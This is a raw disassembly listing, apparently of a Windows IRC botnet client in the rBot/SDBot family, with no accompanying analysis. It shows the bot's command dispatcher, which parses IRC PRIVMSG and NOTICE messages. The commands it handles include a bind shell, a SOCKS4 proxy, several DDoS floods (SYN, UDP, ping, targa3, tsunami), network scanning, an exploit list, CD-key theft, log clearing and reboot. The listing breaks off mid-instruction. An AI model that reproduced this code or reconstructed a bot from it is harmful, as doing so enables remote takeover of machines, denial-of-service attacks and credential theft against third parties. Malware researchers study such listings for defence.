[ebp+28h] mov dword ptr [eax], 1 loc_4020AD: ; CODE XREF: .nsp0:004020A2j push dword ptr [ebp-80h] push offset unk_4335D8 loc_4020B5: ; CODE XREF: .nsp0:00404399j ; .nsp0:00404743j ... call sub_41581A loc_4020BA: ; CODE XREF: .nsp0:004036B2j pop ecx loc_4020BB: ; CODE XREF: .nsp0:004095B5j pop ecx jmp loc_401D6C ; --------------------------------------------------------------------------- loc_4020C1: ; CODE XREF: .nsp0:00402069j lea eax, [ebp-0C0h] push eax lea eax, [ebp-2C0h] shl esi, 7 push offset unk_4335B4 push eax mov [esi+edi], bl call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_4157A6 push dword ptr [ebp-8Ch] push offset aPart ; "PART" call sub_41C710 add esp, 18h test eax, eax jnz loc_401D6C lea eax, [ebp-2C0h] push eax mov eax, [ebp-90h] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401D61 ; --------------------------------------------------------------------------- loc_40211F: ; CODE XREF: .nsp0:0040208Dj ; DATA XREF: .nsp0:0042C298o push dword ptr [ebp-8Ch] mov edi, offset aPrivmsg ; "PRIVMSG" push edi call sub_41C710 pop ecx mov esi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_402173 push dword ptr [ebp-8Ch] push esi call sub_41C710 pop ecx test eax, eax pop ecx jz short loc_402173 push dword ptr [ebp-8Ch] push offset dword_4335A0 call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_4097B8 cmp dword_42908C, ebx jz loc_4097B8 loc_402173: ; CODE XREF: .nsp0:00402139j ; .nsp0:0040214Bj push dword ptr [ebp-8Ch] push edi call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4022F3 push dword ptr [ebp-8Ch] push esi call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4022F3 mov eax, [ebp-84h] inc dword ptr [ebp-80h] push 4 mov [ebp-88h], eax pop esi mov [ebp-0A8h], esi loc_4021B7: ; CODE XREF: .nsp0:004023AFj ; .nsp0:004023EBj ... shl esi, 2 mov eax, [ebp+esi-90h] lea edi, [ebp+esi-90h] push eax push offset dword_433598 mov [ebp+10h], eax call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_402578 push dword ptr [ebp+esi-8Ch] push offset aSend_0 ; "SEND" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_402442 cmp [ebp-0A4h], ebx jz loc_40241B push dword ptr [ebp+esi-88h] mov edi, offset aS_2 ; "%s" lea eax, [ebp-1B80h] push edi push eax call sub_41BF36 push dword ptr [ebp+esi-84h] lea eax, [ebp-1B94h] push edi push eax call sub_41BF36 push dword ptr [ebp+esi-80h] call sub_41BE29 mov [ebp-19FCh], eax mov eax, [ebp+0Ch] mov [ebp-1B9Ch], eax lea eax, [ebp-0C0h] push 7Fh push eax lea eax, [ebp-1A7Ch] push eax call sub_41BCA0 mov eax, [ebp-4] mov [ebp-19F4h], eax mov eax, [ebp-8] mov [ebp-19F0h], eax lea eax, [ebp-1A7Ch] push eax lea eax, [ebp-1B80h] push eax lea eax, [ebp-2C0h] push offset unk_43355C push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push 1Ah push eax call sub_40B00E add esp, 44h mov [ebp-19F8h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-1B9Ch] push ebx push eax push offset loc_4167C7 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-19F8h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz loc_40929E loc_4022DD: ; CODE XREF: .nsp0:004022F1j cmp [ebp-19ECh], ebx jnz loc_40833C push 32h call dword_427064 ; Sleep jmp short loc_4022DD ; --------------------------------------------------------------------------- loc_4022F3: ; CODE XREF: .nsp0:00402183j ; .nsp0:00402199j push dword ptr [ebp-8Ch] push esi call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_40230C mov dword ptr [ebp-4], 1 loc_40230C: ; CODE XREF: .nsp0:00402303j cmp [ebp-88h], ebx jz loc_401D6C push offset dword_42C2A0 push dword ptr [ebp-88h] call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_402333 cmp [ebp-4], ebx jz short loc_40233F loc_402333: ; CODE XREF: .nsp0:0040232Cj lea eax, [ebp-0C0h] mov [ebp-88h], eax loc_40233F: ; CODE XREF: .nsp0:00402331j cmp [ebp-84h], ebx jz loc_401D6C inc dword ptr [ebp-84h] jz short loc_40238B cmp [ebp+18h], ebx jz short loc_40238B lea eax, [ebp-338h] push eax call sub_41B890 push eax lea eax, [ebp-338h] push dword ptr [ebp-84h] push eax call sub_41C510 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp-0A8h], esi jmp short loc_402391 ; --------------------------------------------------------------------------- loc_40238B: ; CODE XREF: .nsp0:00402351j ; .nsp0:00402356j mov esi, [ebp-0A8h] loc_402391: ; CODE XREF: .nsp0:00402389j mov edi, [ebp+esi*4-90h] cmp edi, ebx jz loc_401D6C push edi push offset dword_433550 call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_4021B7 mov ecx, [ebp-88h] cmp byte ptr [ecx], 23h jz short loc_4023DC mov eax, dword_4D10A4 mov eax, off_42914C[eax*4] cmp [eax], bl jz short loc_4023DC push eax push ecx push offset dword_433534 jmp loc_401D61 ; --------------------------------------------------------------------------- loc_4023DC: ; CODE XREF: .nsp0:004023BEj ; .nsp0:004023CEj push edi push offset dword_43352C call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_4021B7 mov eax, [ebp+esi*4-8Ch] cmp eax, ebx jz loc_4021B7 mov ecx, [ebp-88h] cmp byte ptr [ecx], 23h jz loc_4021B7 push eax push ecx push offset dword_433514 jmp loc_401D61 ; --------------------------------------------------------------------------- loc_40241B: ; CODE XREF: .nsp0:00402201j lea eax, [ebp-0C0h] push eax lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset unk_4334D0 push eax call sub_41BF36 add esp, 10h jmp loc_40833C ; --------------------------------------------------------------------------- loc_402442: ; CODE XREF: .nsp0:004021F5j push dword ptr [ebp+esi-8Ch] push offset aChat ; "CHAT" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_40258E cmp [ebp-0A4h], ebx jz loc_402567 push 1Bh call sub_40B256 test eax, eax pop ecx jnz loc_402556 push dword ptr [ebp+esi-84h] lea eax, [ebp-2AA8h] push offset aS_2 ; "%s" push eax call sub_41BF36 push dword ptr [ebp+esi-80h] call sub_41BE29 mov [ebp-2910h], eax mov eax, [ebp+0Ch] mov [ebp-2AB0h], eax lea eax, [ebp-0C0h] push 7Fh push eax lea eax, [ebp-2990h] push eax call sub_41BCA0 mov eax, [ebp-4] mov [ebp-2908h], eax mov eax, [ebp-8] mov [ebp-2904h], eax lea eax, [ebp-0C0h] push eax lea eax, [ebp-2C0h] push offset unk_4334A8 push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push 1Bh push eax call sub_40B00E add esp, 34h mov [ebp-290Ch], eax lea eax, [ebp-10h] push eax lea eax, [ebp-2AB0h] push ebx push eax push offset dword_416264 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-290Ch] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_402545 loc_40252F: ; CODE XREF: .nsp0:00402543j cmp [ebp-2900h], ebx jnz loc_40833C push 32h call dword_427064 ; Sleep jmp short loc_40252F ; --------------------------------------------------------------------------- loc_402545: ; CODE XREF: .nsp0:0040252Dj call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_433470 jmp loc_40832D ; --------------------------------------------------------------------------- loc_402556: ; CODE XREF: .nsp0:00402473j lea eax, [ebp-0C0h] push eax push offset unk_433440 jmp loc_40832D ; --------------------------------------------------------------------------- loc_402567: ; CODE XREF: .nsp0:00402463j lea eax, [ebp-0C0h] push eax push offset unk_43340C jmp loc_40832D ; --------------------------------------------------------------------------- loc_402578: ; CODE XREF: .nsp0:004021DAj mov eax, [ebp+10h] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429094 mov [edi], ecx jnz loc_401D6C loc_40258E: ; CODE XREF: .nsp0:00402457j mov edi, [edi] push edi push offset aLogin ; "login" mov [ebp+10h], edi call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aHi_0 ; "hi" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4097C0 cmp [ebp-0A4h], ebx jnz short loc_4025DF push dword ptr [ebp-8Ch] push offset dword_4335A0 call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_4097B8 loc_4025DF: ; CODE XREF: .nsp0:004025C3j cmp [ebp+30h], ebx jnz loc_4097B8 xor edi, edi cmp dword_42B684, ebx jle loc_402794 mov dword ptr [ebp+28h], offset dword_4433A0 loc_4025FD: ; CODE XREF: .nsp0:0040261Cj push dword ptr [ebp+10h] push dword ptr [ebp+28h] call sub_41C710 pop ecx test eax, eax pop ecx jz short loc_402623 add dword ptr [ebp+28h], 0B8h inc edi cmp edi, dword_42B684 jl short loc_4025FD jmp loc_402794 ; --------------------------------------------------------------------------- loc_402623: ; CODE XREF: .nsp0:0040260Cj push offset asc_433690 ; " :" push dword ptr [ebp+8] call sub_41BFB0 pop ecx cmp eax, ebx pop ecx jz loc_401D6C mov cl, byte_429094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429094 mov [eax+3], cl lea ecx, dword_4433B8[edi] push 9Fh add eax, 4 push ecx push eax call sub_41BCA0 lea eax, [ebp+esi-50h] add esp, 0Ch mov dword ptr [ebp+28h], 0Fh mov [ebp+14h], eax loc_402678: ; CODE XREF: .nsp0:00402729j push dword ptr [ebp+28h] lea eax, [ebp-0A0h] push offset aD_1 ; "$%d-" push eax call sub_41BF36 lea eax, [ebp-0A0h] push eax push dword ptr [ebp+8] call sub_41BFB0 add esp, 14h test eax, eax jz short loc_4026E4 mov eax, [ebp+14h] cmp [eax], ebx jz short loc_4026E4 lea eax, dword_4433A0[edi] push eax call sub_41B890 add [ebp-0Ch], eax pop ecx jz short loc_40271F mov eax, [ebp+14h] push dword ptr [eax-4] push dword ptr [ebp-0Ch] call sub_41BFB0 pop ecx cmp eax, ebx pop ecx jz short loc_40271F push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp+8] call sub_41869A add esp, 0Ch jmp short loc_40271F ; --------------------------------------------------------------------------- loc_4026E4: ; CODE XREF: .nsp0:004026A0j ; .nsp0:004026A7j mov eax, [ebp+14h] cmp [eax], ebx jnz short loc_40271F lea eax, [ebp-0A0h] push 2 push eax lea eax, [ebp-94h] push eax call sub_41BCA0 lea eax, [ebp-94h] mov [ebp-92h], bl push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp+8] call sub_41869A add esp, 18h loc_40271F: ; CODE XREF: .nsp0:004026B9j ; .nsp0:004026CDj ... dec dword ptr [ebp+28h] sub dword ptr [ebp+14h], 4 cmp [ebp+28h], ebx jg loc_402678 lea eax, [ebp+esi-50h] mov dword ptr [ebp+28h], 10h mov edi, eax loc_40273C: ; CODE XREF: .nsp0:00402788j push dword ptr [ebp+28h] lea eax, [ebp-0A0h] push offset aD_0 ; "$%d" push eax call sub_41BF36 lea eax, [ebp-0A0h] push eax push dword ptr [ebp+8] call sub_41BFB0 add esp, 14h test eax, eax jz short loc_40277F mov eax, [edi] cmp eax, ebx jz short loc_40277F push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp+8] call sub_41869A add esp, 0Ch loc_40277F: ; CODE XREF: .nsp0:00402764j ; .nsp0:0040276Aj dec dword ptr [ebp+28h] sub edi, 4 cmp [ebp+28h], ebx jg short loc_40273C mov dword ptr [ebp-2C4h], 1 loc_402794: ; CODE XREF: .nsp0:004025F0j ; .nsp0:0040261Ej mov eax, [ebp+10h] mov al, [eax] cmp al, byte_429094 jz short loc_4027AD cmp [ebp-2C4h], ebx jz loc_40299E loc_4027AD: ; CODE XREF: .nsp0:0040279Fj push dword ptr [ebp+18h] mov edi, [ebp+8] push offset aMe ; "$me" push edi call sub_41869A lea eax, [ebp-0C0h] push eax push offset aUser_2 ; "$user" push edi call sub_41869A push dword ptr [ebp-88h] push offset aChan ; "$chan" push edi call sub_41869A push ebx push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40AFA5 push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_41869A add esp, 40h push dword ptr [ebp+1Ch] push offset aServer_2 ; "$server" push edi call sub_41869A mov edi, offset aChr ; "$chr(" push edi push dword ptr [ebp+8] call sub_41BFB0 add esp, 14h loc_40281F: ; CODE XREF: .nsp0:00402917j test eax, eax jz loc_40291C push edi push dword ptr [ebp+8] call sub_41BFB0 mov [ebp+18h], eax add eax, 5 push 4 push eax lea eax, [ebp-0A0h] push eax call sub_41BCA0 lea eax, [ebp-0A0h] push offset asc_4333C8 ; ")" push eax call sub_41C794 add esp, 1Ch cmp byte ptr [ebp-0A0h], 30h jl short loc_40286B cmp byte ptr [ebp-0A0h], 39h jle short loc_402881 loc_40286B: ; CODE XREF: .nsp0:00402860j push 3 lea eax, [ebp-0A0h] push offset a63 ; "63" push eax call sub_41BCA0 add esp, 0Ch loc_402881: ; CODE XREF: .nsp0:00402869j lea eax, [ebp-0A0h] push eax call sub_41BE29 test eax, eax pop ecx jle short loc_4028A7 lea eax, [ebp-0A0h] push eax call sub_41BE29 pop ecx mov [ebp-94h], al jmp short loc_4028BB ; --------------------------------------------------------------------------- loc_4028A7: ; CODE XREF: .nsp0:00402890j call sub_41BF92 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp-94h], dl loc_4028BB: ; CODE XREF: .nsp0:004028A5j lea eax, [ebp-0A0h] mov [ebp-93h], bl push eax call sub_41B890 mov [ebp+28h], eax push 0Ch lea eax, [ebp-0A0h] push ebx push eax call sub_41BC40 mov eax, [ebp+28h] add eax, 6 push eax lea eax, [ebp-0A0h] push dword ptr [ebp+18h] push eax call sub_41BCA0 lea eax, [ebp-94h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp+8] call sub_41869A push edi push dword ptr [ebp+8] call sub_41BFB0 add esp, 30h jmp loc_40281F ; --------------------------------------------------------------------------- loc_40291C: ; CODE XREF: .nsp0:00402821j mov edi, 1FFh lea eax, [ebp-4488h] push edi push dword ptr [ebp+8] push eax call sub_41BCA0 lea eax, [ebp-4488h] push edi push eax lea eax, [ebp-4AF0h] push eax call sub_41BCA0 lea eax, [ebp-4AF0h] push offset asc_43368C ; " " push eax call sub_41C794 add esp, 20h mov [ebp-90h], eax lea edi, [ebp-8Ch] mov dword ptr [ebp+18h], 1Fh loc_40296C: ; CODE XREF: .nsp0:00402981j push offset asc_43368C ; " " push ebx call sub_41C794 mov [edi], eax pop ecx add edi, 4 dec dword ptr [ebp+18h] pop ecx jnz short loc_40296C mov ecx, [ebp+esi-90h] lea eax, [ebp+esi-90h] cmp ecx, ebx jz loc_401D6C add ecx, 3 mov [eax], ecx loc_40299E: ; CODE XREF: .nsp0:004027A7j mov edi, [ebp+esi-90h] push edi push offset aRndnick ; "rndnick" mov [ebp+10h], edi call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40976B push edi push offset aRn ; "rn" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40976B push edi push offset aDie ; "die" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_404A20 push edi push offset aD ; "d" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_404A20 push edi push offset aLogout ; "logout" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40497E push edi push offset aLo ; "lo" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40497E push edi push offset aVersion ; "version" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40496F push edi push offset aVer ; "ver" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40496F push edi push offset aDedication ; "dedication" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_404965 push edi push offset aDed ; "ded" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_404965 push edi push offset aSpeedtest ; "speedtest" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40494C push edi push offset aSt ; "st" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40494C push edi push offset aSecure ; "secure" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40484E push edi push offset aSec ; "sec" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40484E push edi push offset aUnsecure ; "unsecure" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40484E push edi push offset aUnsec ; "unsec" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40484E push edi push offset aBindshell ; "bindshell" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_404748 push edi push offset aBd ; "bd" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_404748 push edi push offset aBindshellstop ; "bindshellstop" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_402B62 push dword ptr [ebp+esi-8Ch] push 6 push offset aServer_0 ; "Server" push offset dword_433328 loc_402B46: ; CODE XREF: .nsp0:00402BB0j ; .nsp0:00402BD6j ... push dword ptr [ebp-8] push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_40B29C add esp, 20h jmp loc_401D6C ; --------------------------------------------------------------------------- loc_402B62: ; CODE XREF: .nsp0:00402B31j push edi push offset aSocks4 ; "socks4" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_404626 push edi push offset aS4 ; "s4" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_404626 push edi push offset aSocks4stop ; "socks4stop" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_402BB2 push dword ptr [ebp+esi-8Ch] push 19h push offset aServer_0 ; "Server" push offset dword_433300 jmp short loc_402B46 ; --------------------------------------------------------------------------- loc_402BB2: ; CODE XREF: .nsp0:00402B9Bj push edi push offset aRloginstop ; "rloginstop" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_402BDB push dword ptr [ebp+esi-8Ch] push 9 push offset aServer_0 ; "Server" push offset dword_4332E4 jmp loc_402B46 ; --------------------------------------------------------------------------- loc_402BDB: ; CODE XREF: .nsp0:00402BC1j push edi push offset aHttpstop ; "httpstop" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_402C04 push dword ptr [ebp+esi-8Ch] push 3 push offset aServer_0 ; "Server" push offset dword_4332C8 jmp loc_402B46 ; --------------------------------------------------------------------------- loc_402C04: ; CODE XREF: .nsp0:00402BEAj push edi push offset aLogstop ; "logstop" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_402C2D push dword ptr [ebp+esi-8Ch] push 25h push offset dword_4332B4 push offset dword_4332A8 jmp loc_402B46 ; --------------------------------------------------------------------------- loc_402C2D: ; CODE XREF: .nsp0:00402C13j push edi push offset aRedirectstop ; "redirectstop" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_402C56 push dword ptr [ebp+esi-8Ch] push 18h push offset dword_433288 push offset dword_433278 jmp loc_402B46 ; --------------------------------------------------------------------------- loc_402C56: ; CODE XREF: .nsp0:00402C3Cj push edi push offset dword_43326C call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_402C7F push dword ptr [ebp+esi-8Ch] push 0Dh push offset dword_433260 push offset dword_433254 jmp loc_402B46 ; --------------------------------------------------------------------------- loc_402C7F: ; CODE XREF: .nsp0:00402C65j push edi push offset aSy1stop ; "sy1stop" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_402CA8 push dword ptr [ebp+esi-8Ch] push 0Eh push offset dword_433240 push offset dword_433234 jmp loc_402B46 ; --------------------------------------------------------------------------- loc_402CA8: ; CODE XREF: .nsp0:00402C8Ej push edi push offset aSkysynstop ; "skysynstop" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_402CD1 push dword ptr [ebp+esi-8Ch] push 10h push offset dword_433218 push offset dword_433208 jmp loc_402B46 ; --------------------------------------------------------------------------- loc_402CD1: ; CODE XREF: .nsp0:00402CB7j push edi push offset aTarga3stop ; "targa3stop" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_402CFA push dword ptr [ebp+esi-8Ch] push 11h push offset dword_4331EC push offset dword_4331DC jmp loc_402B46 ; --------------------------------------------------------------------------- loc_402CFA: ; CODE XREF: .nsp0:00402CE0j push edi push offset aWonkstop ; "wonkstop" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_402D23 push dword ptr [ebp+esi-8Ch] push 12h push offset dword_4331C4 push offset dword_4331B8 jmp loc_402B46 ; --------------------------------------------------------------------------- loc_402D23: ; CODE XREF: .nsp0:00402D09j push edi push offset aPacketstop ; "packetstop" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_402E79 mov esi, [ebp+esi-8Ch] mov edi, [ebp+0Ch] push esi push 0Dh push offset dword_433260 push offset dword_433254 push 1 push dword ptr [ebp-4] push dword ptr [ebp-88h] push edi call sub_40B29C push esi push 0Eh push offset dword_433240 push offset dword_433234 push 1 push dword ptr [ebp-4] push dword ptr [ebp-88h] push edi call sub_40B29C add esp, 40h push esi push 17h push offset dword_4331A0 push offset dword_433194 push 1 push dword ptr [ebp-4] push dword ptr [ebp-88h] push edi call sub_40B29C push esi push 16h push offset dword_433188 push offset dword_43317C push 1 push dword ptr [ebp-4] push dword ptr [ebp-88h] push edi call sub_40B29C add esp, 40h push esi push 11h push offset dword_4331EC push offset dword_4331DC push 1 push dword ptr [ebp-4] push dword ptr [ebp-88h] push edi call sub_40B29C push esi push 12h push offset dword_4331C4 push offset dword_4331B8 push 1 push dword ptr [ebp-4] push dword ptr [ebp-88h] push edi call sub_40B29C add esp, 40h push esi push 0Fh push offset dword_43316C push offset dword_43315C push 1 push dword ptr [ebp-4] push dword ptr [ebp-88h] push edi call sub_40B29C push esi push 13h push offset dword_43314C push offset dword_43313C push 1 push dword ptr [ebp-4] push dword ptr [ebp-88h] push edi call sub_40B29C add esp, 40h push esi push 10h push offset dword_433218 push offset dword_433208 push 1 push dword ptr [ebp-4] push dword ptr [ebp-88h] push edi call sub_40B29C push ebx push dword ptr [ebp-4] push offset unk_433108 push dword ptr [ebp-88h] push edi call sub_4099D2 add esp, 34h jmp loc_401D6C ; --------------------------------------------------------------------------- loc_402E79: ; CODE XREF: .nsp0:00402D32j push edi push offset aTsunamistop ; "tsunamistop" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_402EA2 push dword ptr [ebp+esi-8Ch] push 0Fh push offset dword_43316C push offset dword_43315C jmp loc_402B46 ; --------------------------------------------------------------------------- loc_402EA2: ; CODE XREF: .nsp0:00402E88j push edi push offset aWisdomstop ; "wisdomstop" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_402ECB push dword ptr [ebp+esi-8Ch] push 13h push offset dword_43314C push offset dword_43313C jmp loc_402B46 ; --------------------------------------------------------------------------- loc_402ECB: ; CODE XREF: .nsp0:00402EB1j push edi push offset aUdpstop ; "udpstop" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_402EF4 push dword ptr [ebp+esi-8Ch] push 17h push offset dword_4331A0 push offset dword_433194 jmp loc_402B46 ; --------------------------------------------------------------------------- loc_402EF4: ; CODE XREF: .nsp0:00402EDAj push edi push offset aPingstop ; "pingstop" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_402F1D push dword ptr [ebp+esi-8Ch] push 16h push offset dword_433188 push offset dword_43317C jmp loc_402B46 ; --------------------------------------------------------------------------- loc_402F1D: ; CODE XREF: .nsp0:00402F03j push edi push offset aTftpstop ; "tftpstop" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_402F46 push dword ptr [ebp+esi-8Ch] push 5 push offset aServer_0 ; "Server" push offset dword_4330C0 jmp loc_402B46 ; --------------------------------------------------------------------------- loc_402F46: ; CODE XREF: .nsp0:00402F2Cj push edi push offset aFindfilestop ; "findfilestop" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40460E push edi push offset aFfstop ; "ffstop" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40460E push edi push offset aProcsstop ; "procsstop" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4045F6 push edi push offset aPsstop ; "psstop" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4045F6 push edi push offset aClonestop ; "clonestop" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_402FC3 push dword ptr [ebp+esi-8Ch] push 1Fh push offset aClone ; "Clone" push offset dword_433070 jmp loc_402B46 ; --------------------------------------------------------------------------- loc_402FC3: ; CODE XREF: .nsp0:00402FA9j push edi push offset aSecurestop ; "securestop" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_402FEC push dword ptr [ebp+esi-8Ch] push 22h push offset aSecure_0 ; "Secure" push offset dword_43304C jmp loc_402B46 ; --------------------------------------------------------------------------- loc_402FEC: ; CODE XREF: .nsp0:00402FD2j push edi push offset aScanstop ; "scanstop" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_403015 push dword ptr [ebp+esi-8Ch] push 0Bh push offset aScan_0 ; "Scan" push offset dword_43302C jmp loc_402B46 ; --------------------------------------------------------------------------- loc_403015: ; CODE XREF: .nsp0:00402FFBj push edi push offset aScanstats ; "scanstats" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4045E0 push edi push offset aStats ; "stats" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4045E0 push edi push offset aTransferstats ; "transferstats" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4045CA push edi push offset aTrstats ; "trstats" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4045CA push edi push offset aConnectbacksta ; "connectbackstats" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4045B4 push edi push offset aCbstats ; "cbstats" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4045B4 push edi push offset aExploitlist ; "exploitlist" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40459E push edi push offset aExplist ; "explist" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40459E push edi push offset aReconnect ; "reconnect" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40457F push edi push offset aR ; "r" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40457F push edi push offset aDisconnect ; "disconnect" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40455D push edi push offset aDc ; "dc" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40455D push edi push offset aQuit_0 ; "quit" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_404515 push edi push offset aQ ; "q" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_404515 push edi push offset aStatus ; "status" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aS_1 ; "s" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aId ; "id" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aI_1 ; "i" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aReboot ; "reboot" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_4031E1 call sub_418AE3 test eax, eax mov eax, offset unk_432F74 jnz short loc_4031B3 mov eax, offset unk_432F4C loc_4031B3: ; CODE XREF: .nsp0:004031ACj push eax lea eax, [ebp-2C0h] push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 add esp, 1Ch jmp loc_40833C ; --------------------------------------------------------------------------- loc_4031E1: ; CODE XREF: .nsp0:0040319Ej push edi push offset aThreads ; "threads" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aT ; "t" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aAliases ; "aliases" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aAl ; "al" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aLo0g ; "lo0g" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4042AE push edi push offset aL0g ; "l0g" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4042AE push edi push offset aClearlog ; "clearlog" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_404295 push edi push offset aClg ; "clg" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_404295 push edi push offset aNetinfo ; "netinfo" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40425B push edi push offset aNi ; "ni" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40425B push edi push offset aSysinfo ; "sysinfo" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_404230 push edi push offset aSi ; "si" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_404230 push edi push offset aRemov ; "remov`]" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4041F6 push edi push offset aR0i0m ; "r0i0m" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4041F6 push edi push offset aProcs ; "procs" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4040D3 push edi push offset aPs ; "ps" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4040D3 push edi push offset aGetcdkeys ; "getcdkeys" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4040AC push edi push offset aKey ; "key" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4040AC push edi push offset aUptime ; "uptime" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_404025 push edi push offset aUp ; "up" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_404025 push edi push offset aDriveinfo ; "driveinfo" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_404008 push edi push offset aDrv ; "drv" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_404008 push edi push offset aTestdlls ; "testdlls" call sub_41C710 pop ecx test eax, 